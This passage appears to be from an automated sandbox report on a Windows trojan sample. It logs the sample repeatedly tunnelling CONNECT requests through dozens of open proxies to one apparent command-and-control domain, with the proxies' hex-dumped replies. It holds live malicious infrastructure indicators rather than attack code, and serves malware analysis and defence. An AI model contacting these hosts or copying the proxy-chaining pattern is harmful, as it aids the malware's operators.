Feb 23, 2024 14:28:32.451282024 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1254	192.168.2.8	53727	74.48.78.52	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.379597902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.040780067 CET	836	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:35 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 644 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 32 30 31 37 31 30 38 36 40 63 65 2e 70 75 63 6d 6d 2e 65 64 75 2e 64 6f 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at 20171086@ce.pucmm.edu.do to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1255	192.168.2.8	53562	188.164.193.178	37842	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.400161028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.491740942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.492543936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.492309093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1256	192.168.2.8	53698	202.151.176.61	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.404215097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.288737059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.695071936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.491944075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.788829088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.991816998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1257	192.168.2.8	53781	104.25.184.189	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.437058926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.525427103 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1258	192.168.2.8	53721	58.234.116.197	8193	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.448008060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1259	192.168.2.8	53767	148.72.23.135	2911	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.483680964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.898121119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.379443884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.382627010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.149532080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.882695913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.548687935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.898353100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.694900990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1260	192.168.2.8	53869	104.22.37.236	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.499958992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.588484049 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1261	192.168.2.8	53797	109.238.12.156	29834	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.526639938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.991909027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.679430962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.882582903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.991836071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.195127010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1262	192.168.2.8	53662	184.170.248.5	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.542882919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1263	192.168.2.8	51695	107.173.154.83	49991	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.543313026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.694906950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.695488930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.789078951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:56.788466930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:08.788451910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1264	192.168.2.8	53559	117.54.114.35	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.543708086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1265	192.168.2.8	53387	98.178.72.21	10919	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.545515060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1266	192.168.2.8	53816	206.220.175.2	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.548536062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1267	192.168.2.8	53777	91.202.230.219	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.554831982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1268	192.168.2.8	53912	104.16.106.234	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.555680037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.644862890 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1269	192.168.2.8	53625	111.3.102.135	30001	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.563942909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1270	192.168.2.8	53752	20.205.61.143	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.577094078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.879959106 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1271	192.168.2.8	53935	104.27.26.29	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.588159084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.676368952 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1272	192.168.2.8	53582	177.53.221.89	44196	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.588505983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1273	192.168.2.8	53737	27.65.116.243	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.589495897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1274	192.168.2.8	53948	104.16.109.207	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.589850903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.676922083 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1275	192.168.2.8	53725	115.127.107.218	1085	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.591114044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1276	192.168.2.8	53941	152.32.148.233	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.591237068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.898121119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.379278898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.085673094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.398189068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.693334103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.991846085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.398466110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.288917065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1277	192.168.2.8	53836	81.177.6.68	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.608997107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.179367065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.819915056 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1278	192.168.2.8	53932	67.225.255.197	63280	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
